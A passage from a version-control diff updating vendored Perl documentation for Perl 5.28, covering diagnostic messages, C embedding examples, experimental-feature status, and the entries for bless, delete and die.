+=item Unescaped left brace in regex is deprecated here (and will be fatal in Perl 5.32), passed through in regex; marked by S<<-- HERE> in m/%s/
+
 (D deprecated, regexp)  The simple rule to remember, if you want to
 match a literal C<{> character (U+007B C<LEFT CURLY BRACKET>) in a
 regular expression pattern, is to escape each literal instance of it in
@@ -6288,7 +6444,7 @@
 literal C<{> that should have raised a deprecation warning starting in
 v5.20 did not warn until v5.26.  By making the already-warned uses fatal
 now, some of the planned extensions can be made to the language sooner.
-The cases which are still allowed will be fatal in Perl 5.30.
+The cases which are still allowed will be fatal in Perl 5.30 or 5.32.
 
 The contexts where no warnings or errors are raised are:
 
@@ -6451,6 +6607,14 @@
 be combined with the digits, or the C<"+"> shouldn't be there, or
 something like that.  Perl can't figure out what was intended.
 
+=item Unexpected ']' with no following ')' in (?[... in regex; marked by
+<-- HERE in m/%s/
+
+(F) While parsing an extended character class a ']' character was
+encountered at a point in the definition where the only legal use of
+']' is to close the character class definition as part of a '])', you
+may have forgotten the close paren, or otherwise confused the parser.
+
 =item Unexpected '(' with no preceding operator in regex; marked by
 S<<-- HERE> in m/%s/
 
@@ -6497,11 +6661,10 @@
 also happen if the C<\N{}> is not in the scope of the corresponding
 C<S<use charnames>>.
 
-=item Unknown charname '' is deprecated. Its use will be fatal in Perl 5.28
+=item Unknown '(*...)' construct '%s' in regex; marked by <-- HERE in m/%s/
 
-(D deprecated) You had a C<\N{}> with nothing between the braces.  This
-usage was deprecated in Perl 5.24, and will be made a syntax error in 
-in Perl 5.28.
+(F) The C<(*> was followed by something that the regular expression
+compiler does not recognize.  Check your spelling.
 
 =item Unknown error
 
@@ -6508,6 +6671,14 @@
 (P) Perl was about to print an error message in C<$@>, but the C<$@> variable
 did not exist, even after an attempt to create it.
 
+=item Unknown locale category %d; can't set it to %s
+
+(W locale) You used a locale category that perl doesn't recognize, so it
+cannot carry out your request.  Check that you are using a valid
+category.  If so, see L<perllocale/Multi-threaded> for advice on
+reporting this as a bug, and for modifying perl locally to accommodate
+your needs.
+
 =item Unknown open() mode '%s'
 
 (F) The second argument of 3-argument open() is not among the list
@@ -6530,7 +6701,7 @@
 data Perl expected.  Someone's very confused, or perhaps trying to
 subvert Perl's population of %ENV for nefarious purposes.
 
-=item Unknown regex modifier "%s"
+=item Unknown regexp modifier "/%s"
 
 (F) Alphanumerics immediately following the closing delimiter
 of a regular expression pattern are interpreted by Perl as modifier
@@ -6555,15 +6726,21 @@
 (F) The condition part of a (?(condition)if-clause|else-clause) construct
 is not known.  The condition must be one of the following:
 
- (1) (2) ...        true if 1st, 2nd, etc., capture matched
- (<NAME>) ('NAME')  true if named capture matched
- (?=...) (?<=...)   true if subpattern matches
- (?!...) (?<!...)   true if subpattern fails to match
- (?{ CODE })        true if code returns a true value
- (R)                true if evaluating inside recursion
- (R1) (R2) ...      true if directly inside capture group 1, 2, etc.
- (R&NAME)           true if directly inside named capture
- (DEFINE)           always false; for defining named subpatterns
+ (1) (2) ...            true if 1st, 2nd, etc., capture matched
+ (<NAME>) ('NAME')      true if named capture matched
+ (?=...) (?<=...)       true if subpattern matches
+ (*pla:...) (*plb:...)  true if subpattern matches; also
+                             (*positive_lookahead:...)
+                             (*positive_lookbehind:...)
+ (*nla:...) (*nlb:...)  true if subpattern fails to match; also
+                             (*negative_lookahead:...)
+                             (*negative_lookbehind:...)
+ (?{ CODE })            true if code returns a true value
+ (R)                    true if evaluating inside recursion
+ (R1) (R2) ...          true if directly inside capture group 1, 2,
+                             etc.
+ (R&NAME)               true if directly inside named capture
+ (DEFINE)               always false; for defining named subpatterns
 
 The S<<-- HERE> shows whereabouts in the regular expression the problem was
 discovered.  See L<perlre>.
@@ -6706,6 +6883,11 @@
 (F) Your machine doesn't support the Berkeley socket mechanism, or at
 least that's what Configure thought.
 
+=item Unterminated '(*...' argument in regex; marked by <-- HERE in m/%s/
+
+(F) You used a pattern of the form C<(*...:...)> but did not terminate
+the pattern with a C<)>.  Fix the pattern and retry.
+
 =item Unterminated attribute list
 
 (F) The lexer found something other than a simple identifier at the
@@ -6726,6 +6908,11 @@
 compressed integer format and could not be converted to an integer.
 See L<perlfunc/pack>.
 
+=item Unterminated '(*...' construct in regex; marked by <-- HERE in m/%s/
+
+(F) You used a pattern of the form C<(*...)> but did not terminate
+the pattern with a C<)>.  Fix the pattern and retry.
+
 =item Unterminated delimiter for here document
 
 (F) This message occurs when a here document label has an initial
@@ -6938,19 +7125,20 @@
 (F) The "use" keyword is recognized and executed at compile time, and
 returns no useful value.  See L<perlmod>.
 
-=item Use of assignment to $[ is deprecated
+=item Use of assignment to $[ is deprecated, and will be fatal in 5.30
 
 (D deprecated) The C<$[> variable (index of the first element in an array)
-is deprecated.  See L<perlvar/"$[">.
+is deprecated since Perl 5.12, and setting it to a non-zero value will be
+fatal as of Perl 5.30.
+See L<perlvar/"$[">.
 
-=item Use of bare << to mean <<"" is deprecated. Its use will be fatal in Perl 5.28
+=item Use of bare << to mean <<"" is forbidden
 
-(D deprecated) You are now encouraged to use the explicitly quoted
-form if you wish to use an empty line as the terminator of the
-here-document.
+(F) You are now required to use the explicitly quoted form if you wish
+to use an empty line as the terminator of the here-document.
 
-Use of a bare terminator was deprecated in Perl 5.000, and
-will be a fatal error in Perl 5.28.
+Use of a bare terminator was deprecated in Perl 5.000, and is a fatal
+error as of Perl 5.28.
 
 =item Use of /c modifier is meaningless in s///
 
@@ -6963,33 +7151,25 @@
 use the /g modifier.  Currently, /c is meaningful only when /g is
 used.  (This may change in the future.)
 
-=item Use of code point 0x%s is deprecated; the permissible max is 0x%s. This will be fatal in Perl 5.28
+=item Use of code point 0x%s is not allowed; the permissible max is 0x%x
 
-(D deprecated) You used a code point that will not be allowed in a
-future perl version, because it is too large.  Unicode only allows code
-points up to 0x10FFFF, but Perl allows much larger ones.  However, the
-largest possible ones break the perl interpreter in some constructs,
-including causing it to hang in a few cases.  The known problem areas
-are in C<tr///>, regular expression pattern matching using quantifiers,
-as quote delimiters in C<qI<X>...I<X>> (where I<X> is the C<chr()> of a large
-code point), and as the upper limits in loops.
-There may be other breakages as well.  If you get this warning, and
-things aren't working correctly, you probably have found one of these.
+=item Use of code point 0x%s is not allowed; the permissible max is 0x%x
+in regex; marked by <-- HERE in m/%s/
 
+(F) You used a code point that is not allowed, because it is too large.
+Unicode only allows code points up to 0x10FFFF, but Perl allows much
+larger ones. Earlier versions of Perl allowed code points above IV_MAX
+(0x7FFFFFF on 32-bit platforms, 0x7FFFFFFFFFFFFFFF on 64-bit platforms),
+however, this could possibly break the perl interpreter in some constructs,
+including causing it to hang in a few cases.
+
 If your code is to run on various platforms, keep in mind that the upper
 limit depends on the platform.  It is much larger on 64-bit word sizes
 than 32-bit ones.
 
 The use of out of range code points was deprecated in Perl 5.24, and
-it will be a fatal error in Perl 5.28.
+became a fatal error in Perl 5.28.
 
-=item Use of comma-less variable list is deprecated. Its use will be fatal in Perl 5.28
-
-(D deprecated) The values you give to a format should be
-separated by commas, not just aligned on a line.
-
-This usage will be fatal in Perl 5.28.
-
 =item Use of each() on hash after insertion without resetting hash iterator results in undefined behavior
 
 (S internal) The behavior of C<each()> after insertion is undefined;
@@ -6996,13 +7176,6 @@
 it may skip items, or visit items more than once.  Consider using
 C<keys()> instead of C<each()>.
 
-=item Infinite recursion via empty pattern
-
-(F) You tried to use the empty pattern inside of a regex code block,
-for instance C</(?{ s!!! })/>, which resulted in re-executing
-the same pattern, which is an infinite loop which is broken by
-throwing an exception.
-
 =item Use of := for an empty attribute list is not allowed
 
 (F) The construction C<my $x := 42> used to parse as equivalent to
@@ -7047,32 +7220,21 @@
 
 This was deprecated in Perl 5.12.
 
-=item Use of inherited AUTOLOAD for non-method %s() is deprecated. This will be fatal in Perl 5.28
+=item Use of '%s' in \p{} or \P{} is deprecated because: %s
 
-(D deprecated) As an (ahem) accidental feature, C<AUTOLOAD>
-subroutines are looked up as methods (using the C<@ISA> hierarchy)
-even when the subroutines to be autoloaded were called as plain
-functions (e.g. C<Foo::bar()>), not as methods (e.g. C<< Foo->bar() >> or
-C<< $obj->bar() >>).
+(D deprecated) Certain properties are deprecated by Unicode, and may
+eventually be removed from the Standard, at which time Perl will follow
+along.  In the meantime, this message is raised to notify you.
 
-This bug will be rectified in future by using method lookup only for
-methods' C<AUTOLOAD>s.  However, there is a significant base of existing
-code that may be using the old behavior.  So, as an interim step, Perl
-currently issues an optional warning when non-methods use inherited
-C<AUTOLOAD>s.
+=item Use of inherited AUTOLOAD for non-method %s::%s() is no longer allowed
 
-The simple rule is:  Inheritance will not work when autoloading
-non-methods.  The simple fix for old code is:  In any module that used
-to depend on inheriting C<AUTOLOAD> for non-methods from a base class
-named C<BaseClass>, execute C<*AUTOLOAD = \&BaseClass::AUTOLOAD> during
-startup.
+(F) As an accidental feature, C<AUTOLOAD> subroutines were looked up as
+methods (using the C<@ISA> hierarchy), even when the subroutines to be
+autoloaded were called as plain functions (e.g. C<Foo::bar()>), not as
+methods (e.g. C<< Foo->bar() >> or C<< $obj->bar() >>).
 
-In code that currently says C<use AutoLoader; @ISA = qw(AutoLoader);>
-you should remove AutoLoader from @ISA and change C<use AutoLoader;> to
-C<use AutoLoader 'AUTOLOAD';>.
+This was deprecated in Perl 5.004, and was made fatal in Perl 5.28.
 
-This feature was deprecated in Perl 5.004, and will be fatal in Perl 5.28.
-
 =item Use of %s in printf format not supported
 
 (F) You attempted to use a feature of printf that is accessible from
@@ -7095,22 +7257,24 @@
 however, because you can overload the numification and stringification
 operators and then you presumably know what you are doing.
 
-=item Use of state $_ is experimental
+=item Use of strings with code points over 0xFF as arguments to %s
+operator is not allowed
 
-(S experimental::lexical_topic) Lexical $_ is an experimental feature and
-its behavior may change or even be removed in any future release of perl.
-See the explanation under L<perlvar/$_>.
+(F) You tried to use one of the string bitwise operators (C<&> or C<|> or C<^> or
+C<~>) on a string containing a code point over 0xFF.  The string bitwise
+operators treat their operands as strings of bytes, and values beyond
+0xFF are nonsensical in this context.
 
-=item Use of strings with code points over 0xFF as arguments to %s
-operator is deprecated. This will be a fatal error in Perl 5.28
+This became fatal in Perl 5.28.
 
-(D deprecated) You tried to use one of the string bitwise operators
-(C<&> or C<|> or C<^> or C<~>) on a string containing a code point over
-0xFF.  The string bitwise operators treat their operands as strings of
-bytes, and values beyond 0xFF are nonsensical in this context.
+=item Use of strings with code points over 0xFF as arguments to C<vec>
+is deprecated. This will be a fatal error in Perl 5.32
 
-Such usage will be a fatal error in Perl 5.28.
+(D deprecated) You tried to use L<C<vec>|perlfunc/vec EXPR,OFFSET,BITS>
+on a string containing a code point over 0xFF, which is nonsensical here.
 
+Such usage will be a fatal error in Perl 5.32.
+
 =item Use of tainted arguments in %s is deprecated
 
 (W taint, deprecated) You have supplied C<system()> or C<exec()> with multiple
@@ -7201,7 +7365,7 @@
 (W regexp) You used a Unicode boundary (C<\b{...}> or C<\B{...}>) in a
 portion of a regular expression where the character set modifiers C</a>
 or C</aa> are in effect.  These two modifiers indicate an ASCII
-interpretation, and this doesn't make sense for a Unicode defintion.
+interpretation, and this doesn't make sense for a Unicode definition.
 The generated regular expression will compile so that the boundary uses
 all of Unicode.  No other portion of the regular expression is affected.
 
@@ -7284,20 +7448,48 @@
 regex construct as a way to get the equivalent functionality.  See
 L<(?<=pattern) and \K in perlre|perlre/\K>.
 
-There are non-obvious Unicode rules under C</i> that can match variably,
-but which you might not think could.  For example, the substring C<"ss">
-can match the single character LATIN SMALL LETTER SHARP S.  There are
-other sequences of ASCII characters that can match single ligature
-characters, such as LATIN SMALL LIGATURE FFI matching C<qr/ffi/i>.
-Starting in Perl v5.16, if you only care about ASCII matches, adding the
-C</aa> modifier to the regex will exclude all these non-obvious matches,
-thus getting rid of this message.  You can also say C<S<use re qw(/aa)>>
+Starting in Perl 5.18, there are non-obvious Unicode rules under C</i>
+that can match variably, but which you might not think could.  For
+example, the substring C<"ss"> can match the single character LATIN
+SMALL LETTER SHARP S.  Here's a complete list of the current ones
+affecting ASCII characters:
+
+   ASCII
+  sequence      Matches single letter under /i
+    FF          U+FB00 LATIN SMALL LIGATURE FF
+    FFI         U+FB03 LATIN SMALL LIGATURE FFI
+    FFL         U+FB04 LATIN SMALL LIGATURE FFL
+    FI          U+FB01 LATIN SMALL LIGATURE FI
+    FL          U+FB02 LATIN SMALL LIGATURE FL
+    SS          U+00DF LATIN SMALL LETTER SHARP S
+                U+1E9E LATIN CAPITAL LETTER SHARP S
+    ST          U+FB06 LATIN SMALL LIGATURE ST
+                U+FB05 LATIN SMALL LIGATURE LONG S T
+
+This list is subject to change, but is quite unlikely to.
+Each ASCII sequence can be any combination of upper- and lowercase.
+
+You can avoid this by using a bracketed character class in the
+lookbehind assertion, like
+
+ (?<![sS]t)
+ (?<![fF]f[iI])
+
+This fools Perl into not matching the ligatures.
+
+Another option for Perls starting with 5.16, if you only care about
+ASCII matches, is to add the C</aa> modifier to the regex.  This will
+exclude all these non-obvious matches, thus getting rid of this message.
+You can also say
+
+ use if $] ge 5.016, re => '/aa';
+
 to apply C</aa> to all regular expressions compiled within its scope.
 See L<re>.
 
 =item "%s" variable %s masks earlier declaration in same %s
 
-(W misc) A "my", "our" or "state" variable has been redeclared in the
+(W shadow) A "my", "our" or "state" variable has been redeclared in the
 current scope or statement, effectively eliminating all access to the
 previous instance.  This is almost always a typographical error.  Note
 that the earlier variable will still exist until the end of the scope
@@ -7420,14 +7612,21 @@
 
 =item Wide character in %s
 
-(S utf8) Perl met a wide character (>255) when it wasn't expecting
-one.  This warning is by default on for I/O (like print).  The easiest
-way to quiet this warning is simply to add the C<:utf8> layer to the
-output, e.g. C<binmode STDOUT, ':utf8'>.  Another way to turn off the
-warning is to add C<no warnings 'utf8';> but that is often closer to
+(S utf8) Perl met a wide character (ordinal >255) when it wasn't
+expecting one.  This warning is by default on for I/O (like print).
+
+If this warning does come from I/O, the easiest
+way to quiet it is simply to add the C<:utf8> layer, I<e.g.>,
+S<C<binmode STDOUT, ':utf8'>>.  Another way to turn off the warning is
+to add S<C<no warnings 'utf8';>> but that is often closer to
 cheating.  In general, you are supposed to explicitly mark the
 filehandle with an encoding, see L<open> and L<perlfunc/binmode>.
 
+If the warning comes from other than I/O, this diagnostic probably
+indicates that incorrect results are being obtained.  You should examine
+your code to determine how a wide character is getting to an operation
+that doesn't handle them.
+
 =item Wide character (U+%X) in %s
 
 (W locale) While in a single-byte locale (I<i.e.>, a non-UTF-8
@@ -7484,8 +7683,10 @@
 
 (F) And you probably never will, because you probably don't have the
 sources to your kernel, and your vendor probably doesn't give a rip
-about what you want.  Your best bet is to put a setuid C wrapper around
-your script.
+about what you want.  There is a vulnerability anywhere that you have a
+set-id script, and to close it you need to remove the set-id bit from
+the script that you're attempting to run.  To actually run the script
+set-id, your best bet is to put a set-id C wrapper around your script.
 
 =item You need to quote "%s"
 

Modified: vendor/perl/dist/pod/perlebcdic.pod
===================================================================
--- vendor/perl/dist/pod/perlebcdic.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perlebcdic.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1524,7 +1524,7 @@
 
 This is completely general, but the most computationally expensive
 strategy.  Choose one or the other character set and transform to that
-for every sort comparision.  Here's a complete example that transforms
+for every sort comparison.  Here's a complete example that transforms
 to ASCII sort order:
 
  sub native_to_uni($) {

Modified: vendor/perl/dist/pod/perlembed.pod
===================================================================
--- vendor/perl/dist/pod/perlembed.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perlembed.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -128,7 +128,7 @@
 (That's all one line.)  On my DEC Alpha running old 5.003_05, the
 incantation is a bit different:
 
-    % cc -O2 -Olimit 2900 -DSTANDARD_C -I/usr/local/include
+    % cc -O2 -Olimit 2900 -I/usr/local/include
     -I/usr/local/lib/perl5/alpha-dec_osf/5.00305/CORE
     -L/usr/local/lib/perl5/alpha-dec_osf/5.00305/CORE -L/usr/local/lib
     -D__LANGUAGE_C__ -D_NO_PROTO -o interp interp.c -lperl -lm
@@ -192,6 +192,7 @@
         perl_destruct(my_perl);
         perl_free(my_perl);
 	PERL_SYS_TERM();
+	exit(EXIT_SUCCESS);
  }
 
 Notice that we don't use the C<env> pointer.  Normally handed to
@@ -267,6 +268,7 @@
         perl_destruct(my_perl);
         perl_free(my_perl);
 	PERL_SYS_TERM();
+	exit(EXIT_SUCCESS);
     }
 
 where I<showtime> is a Perl subroutine that takes no arguments (that's the
@@ -325,7 +327,7 @@
 
  main (int argc, char **argv, char **env)
  {
-     char *embedding[] = { "", "-e", "0" };
+     char *embedding[] = { "", "-e", "0", NULL };
 
      PERL_SYS_INIT3(&argc,&argv,&env);
      my_perl = perl_alloc();
@@ -429,7 +431,7 @@
      PUTBACK;
 
      if (croak_on_error && SvTRUE(ERRSV))
- 	croak(SvPVx_nolen(ERRSV));
+        croak_sv(ERRSV);
 
      return retval;
  }
@@ -504,7 +506,7 @@
 
  main (int argc, char **argv, char **env)
  {
-     char *embedding[] = { "", "-e", "0" };
+     char *embedding[] = { "", "-e", "0", NULL };
      AV *match_list;
      I32 num_matches, i;
      SV *text;
@@ -645,7 +647,7 @@
 
  int main (int argc, char **argv, char **env)
  {
-   char *my_argv[] = { "", "power.pl" };
+   char *my_argv[] = { "", "power.pl", NULL };
 
    PERL_SYS_INIT3(&argc,&argv,&env);
    my_perl = perl_alloc();
@@ -660,6 +662,7 @@
    perl_destruct(my_perl);
    perl_free(my_perl);
    PERL_SYS_TERM();
+   exit(EXIT_SUCCESS);
  }
 
 
@@ -794,25 +797,25 @@
  int
  main(int argc, char **argv, char **env)
  {
-     char *embedding[] = { "", "persistent.pl" };
+     char *embedding[] = { "", "persistent.pl", NULL };
      char *args[] = { "", DO_CLEAN, NULL };
      char filename[BUFFER_SIZE];
-     int exitstatus = 0;
+     int failing, exitstatus;
 
      PERL_SYS_INIT3(&argc,&argv,&env);
      if((my_perl = perl_alloc()) == NULL) {
         fprintf(stderr, "no memory!");
-        exit(1);
+        exit(EXIT_FAILURE);
      }
      perl_construct(my_perl);
 
      PL_origalen = 1; /* don't let $0 assignment update the
                          proctitle or embedding[0] */
-     exitstatus = perl_parse(my_perl, NULL, 2, embedding, NULL);
+     failing = perl_parse(my_perl, NULL, 2, embedding, NULL);
      PL_exit_flags |= PERL_EXIT_DESTRUCT_END;
-     if(!exitstatus) {
-        exitstatus = perl_run(my_perl);
-
+     if(!failing)
+	failing = perl_run(my_perl);
+     if(!failing) {
         while(printf("Enter file name: ") &&
               fgets(filename, BUFFER_SIZE, stdin)) {
 
@@ -830,7 +833,7 @@
      }
 
      PL_perl_destruct_level = 0;
-     perl_destruct(my_perl);
+     exitstatus = perl_destruct(my_perl);
      perl_free(my_perl);
      PERL_SYS_TERM();
      exit(exitstatus);
@@ -951,8 +954,8 @@
  int main(int argc, char **argv, char **env)
  {
      PerlInterpreter *one_perl, *two_perl;
-     char *one_args[] = { "one_perl", SAY_HELLO };
-     char *two_args[] = { "two_perl", SAY_HELLO };
+     char *one_args[] = { "one_perl", SAY_HELLO, NULL };
+     char *two_args[] = { "two_perl", SAY_HELLO, NULL };
 
      PERL_SYS_INIT3(&argc,&argv,&env);
      one_perl = perl_alloc();
@@ -983,6 +986,7 @@
      PERL_SET_CONTEXT(two_perl);
      perl_free(two_perl);
      PERL_SYS_TERM();
+     exit(EXIT_SUCCESS);
  }
 
 Note the calls to PERL_SET_CONTEXT().  These are necessary to initialize
@@ -1093,17 +1097,22 @@
 the "C" or "POSIX" locale.  Absent a S<C<"use locale">> within the perl
 code, this mostly has no effect (but see L<perllocale/Not within the
 scope of "use locale">).  Also, there is not a problem if the
-locale you want to use in your embedded Perl is the same as the system
+locale you want to use in your embedded perl is the same as the system
 default.  However, this doesn't work if you have set up and want to use
 a locale that isn't the system default one.  Starting in Perl v5.20, you
 can tell the embedded Perl interpreter that the locale is already
 properly set up, and to skip doing its own normal initialization.  It
 skips if the environment variable C<PERL_SKIP_LOCALE_INIT> is set (even
-if set to 0 or C<"">).  A Perl that has this capability will define the
+if set to 0 or C<"">).  A perl that has this capability will define the
 C pre-processor symbol C<HAS_SKIP_LOCALE_INIT>.  This allows code that
 has to work with multiple Perl versions to do some sort of work-around
 when confronted with an earlier Perl.
 
+If your program is using the POSIX 2008 multi-thread locale
+functionality, you should switch into the global locale and set that up
+properly before starting the Perl interpreter.  It will then properly
+switch back to using the thread-safe functions.
+
 =head1 Hiding Perl_
 
 If you completely hide the short forms of the Perl public API,

Modified: vendor/perl/dist/pod/perlexperiment.pod
===================================================================
--- vendor/perl/dist/pod/perlexperiment.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perlexperiment.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -16,15 +16,6 @@
 
 =over 8
 
-=item C<our> can now have an experimental optional attribute C<unique>
-
-Introduced in Perl 5.8.0
-
-Deprecated in Perl 5.10.0
-
-The ticket for this feature is
-L<[perl #119313]|https://rt.perl.org/rt3/Ticket/Display.html?id=119313>.
-
 =item Smart match (C<~~>)
 
 Introduced in Perl 5.10.0
@@ -101,18 +92,6 @@
 
 See L<re/'strict' mode>
 
-=item String- and number-specific bitwise operators
-
-Introduced in Perl 5.22.0
-
-See also: L<perlop/Bitwise String Operators>
-
-Using this feature triggers warnings in the category
-C<experimental::bitwise>.
-
-The ticket for this feature is
-L<[perl #123707]|https://rt.perl.org/rt3/Ticket/Display.html?id=123707>.
-
 =item The <:win32> IO pseudolayer
 
 The ticket for this feature is
@@ -139,6 +118,24 @@
 
 =item Unicode in Perl on EBCDIC
 
+=item Script runs
+
+Introduced in Perl 5.28.0
+
+Using this feature triggers warnings in the category
+C<experimental::script_run>.
+
+See also: L<perlre/Script Runs>
+
+=item Alpabetic assertions
+
+Introduced in Perl 5.28.0
+
+Using this feature triggers warnings in the category
+C<experimental::alpha_assertions>.
+
+See also: L<perlre/Extended Patterns>.
+
 =back
 
 =head2 Accepted features
@@ -255,6 +252,12 @@
 
 Accepted in Perl 5.26.0
 
+=item String- and number-specific bitwise operators
+
+Introduced in Perl 5.22.0
+
+Accepted in Perl 5.28.0
+
 =back
 
 =head2 Removed features
@@ -329,6 +332,14 @@
 
 Removed in Perl 5.24.0
 
+=item C<our> can have an experimental optional attribute C<unique>
+
+Introduced in Perl 5.8.0
+
+Deprecated in Perl 5.10.0
+
+Removed in Perl 5.28.0
+
 =back
 
 =head1 SEE ALSO

Modified: vendor/perl/dist/pod/perlfilter.pod
===================================================================
--- vendor/perl/dist/pod/perlfilter.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perlfilter.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -562,9 +562,11 @@
 See for example the limitations in L<Switch>, which uses source filters,
 and thus is does not work inside a string eval, the presence of
 regexes with embedded newlines that are specified with raw C</.../>
-delimiters and don't have a modifier C</x> are indistinguishable from
+delimiters and don't have a modifier C<//x> are indistinguishable from
 code chunks beginning with the division operator C</>. As a workaround
-you must use C<m/.../> or C<m?...?> for such patterns.  See
+you must use C<m/.../> or C<m?...?> for such patterns. Also, the presence of
+regexes specified with raw C<?...?> delimiters may cause mysterious
+errors. The workaround is to use C<m?...?> instead.  See
 L<http://search.cpan.org/perldoc?Switch#LIMITATIONS>
 
 Currently the content of the C<__DATA__> block is not filtered.

Modified: vendor/perl/dist/pod/perlfunc.pod
===================================================================
--- vendor/perl/dist/pod/perlfunc.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perlfunc.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -104,7 +104,8 @@
 Here are Perl's functions (including things that look like
 functions, like some keywords and named operators)
 arranged by category.  Some functions appear in more
-than one place.
+than one place.  Any warnings, including those produced by
+keywords, are described in L<perldiag> and L<warnings>.
 
 =over 4
 
@@ -241,7 +242,7 @@
 L<C<fcntl>|/fcntl FILEHANDLE,FUNCTION,SCALAR>, L<C<glob>|/glob EXPR>,
 L<C<ioctl>|/ioctl FILEHANDLE,FUNCTION,SCALAR>,
 L<C<link>|/link OLDFILE,NEWFILE>, L<C<lstat>|/lstat FILEHANDLE>,
-L<C<mkdir>|/mkdir FILENAME,MASK>, L<C<open>|/open FILEHANDLE,EXPR>,
+L<C<mkdir>|/mkdir FILENAME,MODE>, L<C<open>|/open FILEHANDLE,EXPR>,
 L<C<opendir>|/opendir DIRHANDLE,EXPR>, L<C<readlink>|/readlink EXPR>,
 L<C<rename>|/rename OLDNAME,NEWNAME>, L<C<rmdir>|/rmdir FILENAME>,
 L<C<select>|/select FILEHANDLE>, L<C<stat>|/stat FILEHANDLE>,
@@ -893,7 +894,9 @@
 =for Pod::Functions create an object
 
 This function tells the thingy referenced by REF that it is now an object
-in the CLASSNAME package.  If CLASSNAME is omitted, the current package
+in the CLASSNAME package.  If CLASSNAME is an empty string, it is
+interpreted as referring to the C<main> package.
+If CLASSNAME is omitted, the current package
 is used.  Because a L<C<bless>|/bless REF,CLASSNAME> is often the last
 thing in a constructor, it returns the reference for convenience.
 Always use the two-argument version if a derived class might inherit the
@@ -903,8 +906,9 @@
 Consider always blessing objects in CLASSNAMEs that are mixed case.
 Namespaces with all lowercase names are considered reserved for
 Perl pragmas.  Builtin types have all uppercase names.  To prevent
-confusion, you may wish to avoid such package names as well.  Make sure
-that CLASSNAME is a true value.
+confusion, you may wish to avoid such package names as well.
+It is advised to avoid the class name C<0>, because much code erroneously
+uses the result of L<C<ref>|/ref EXPR> as a truth value.
 
 See L<perlmod/"Perl Modules">.
 
@@ -1591,10 +1595,13 @@
 true.  Setting a hash element to the undefined value does not remove its
 key, but deleting it does; see L<C<exists>|/exists EXPR>.
 
-In list context, returns the value or values deleted, or the last such
-element in scalar context.  The return list's length always matches that of
+In list context, usually returns the value or values deleted, or the last such
+element in scalar context.  The return list's length corresponds to that of
 the argument list: deleting non-existent elements returns the undefined value
-in their corresponding positions.
+in their corresponding positions. When a
+L<keyE<sol>value hash slice|perldata/KeyE<sol>Value Hash Slices> is passed to
+C<delete>, the return value is a list of key/value pairs (two elements for each
+item deleted from the hash).
 
 L<C<delete>|/delete EXPR> may also be used on arrays and array slices,
 but its behavior is less straightforward.  Although
@@ -1669,13 +1676,13 @@
 
 =for Pod::Functions raise an exception or bail out
 
-L<C<die>|/die LIST> raises an exception.  Inside an
-L<C<eval>|/eval EXPR> the error message is stuffed into
-L<C<$@>|perlvar/$@> and the L<C<eval>|/eval EXPR> is terminated with the
-undefined value.  If the exception is outside of all enclosing
-L<C<eval>|/eval EXPR>s, then the uncaught exception prints LIST to
-C<STDERR> and exits with a non-zero value.  If you need to exit the
-process with a specific exit code, see L<C<exit>|/exit EXPR>.
+L<C<die>|/die LIST> raises an exception.  Inside an L<C<eval>|/eval EXPR>
+the exception is stuffed into L<C<$@>|perlvar/$@> and the L<C<eval>|/eval
+EXPR> is terminated with the undefined value.  If the exception is
+outside of all enclosing L<C<eval>|/eval EXPR>s, then the uncaught
+exception is printed to C<STDERR> and perl exits with an exit code
+indicating failure.  If you need to exit the process with a specific
+exit code, see L<C<exit>|/exit EXPR>.
 
 Equivalent examples:
 
@@ -1682,9 +1689,14 @@
     die "Can't cd to spool: $!\n" unless chdir '/usr/spool/news';
     chdir '/usr/spool/news' or die "Can't cd to spool: $!\n"
 
-If the last element of LIST does not end in a newline, the current
-script line number and input line number (if any) are also printed,
-and a newline is supplied.  Note that the "input line number" (also
+Most of the time, C<die> is called with a string to use as the exception.
+You may either give a single non-reference operand to serve as the
+exception, or a list of two or more items, which will be stringified
+and concatenated to make the exception.
+
+If the string exception does not end in a newline, the current
+script line number and input line number (if any) and a newline
+are appended to it.  Note that the "input line number" (also
 known as "chunk") is subject to whatever notion of "line" happens to
 be currently in effect, and is also available as the special variable
 L<C<$.>|perlvar/$.>.  See L<perlvar/"$/"> and L<perlvar/"$.">.
@@ -1701,49 +1713,45 @@
     /etc/games is no good at canasta line 123.
     /etc/games is no good, stopped at canasta line 123.
 
-If the output is empty and L<C<$@>|perlvar/$@> already contains a value
-(typically from a previous L<C<eval>|/eval EXPR>) that value is reused after
+If LIST was empty or made an empty string, and L<C<$@>|perlvar/$@>
+already contains an exception value (typically from a previous
+L<C<eval>|/eval EXPR>), then that value is reused after
 appending C<"\t...propagated">.  This is useful for propagating exceptions:
 
     eval { ... };
     die unless $@ =~ /Expected exception/;
 
-If the output is empty and L<C<$@>|perlvar/$@> contains an object
+If LIST was empty or made an empty string,
+and L<C<$@>|perlvar/$@> contains an object
 reference that has a C<PROPAGATE> method, that method will be called
 with additional file and line number parameters.  The return value
 replaces the value in L<C<$@>|perlvar/$@>;  i.e., as if
 C<< $@ = eval { $@->PROPAGATE(__FILE__, __LINE__) }; >> were called.
 
-If L<C<$@>|perlvar/$@> is empty, then the string C<"Died"> is used.
+If LIST was empty or made an empty string, and L<C<$@>|perlvar/$@>
+is also empty, then the string C<"Died"> is used.
 
-If an uncaught exception results in interpreter exit, the exit code is
-determined from the values of L<C<$!>|perlvar/$!> and
-L<C<$?>|perlvar/$?> with this pseudocode:
-
-    exit $! if $!;              # errno
-    exit $? >> 8 if $? >> 8;    # child exit status
-    exit 255;                   # last resort
-
-As with L<C<exit>|/exit EXPR>, L<C<$?>|perlvar/$?> is set prior to
-unwinding the call stack; any C<DESTROY> or C<END> handlers can then
-alter this value, and thus Perl's exit code.
-
-The intent is to squeeze as much possible information about the likely cause
-into the limited space of the system exit code.  However, as
-L<C<$!>|perlvar/$!> is the value of C's C<errno>, which can be set by
-any system call, this means that the value of the exit code used by
-L<C<die>|/die LIST> can be non-predictable, so should not be relied
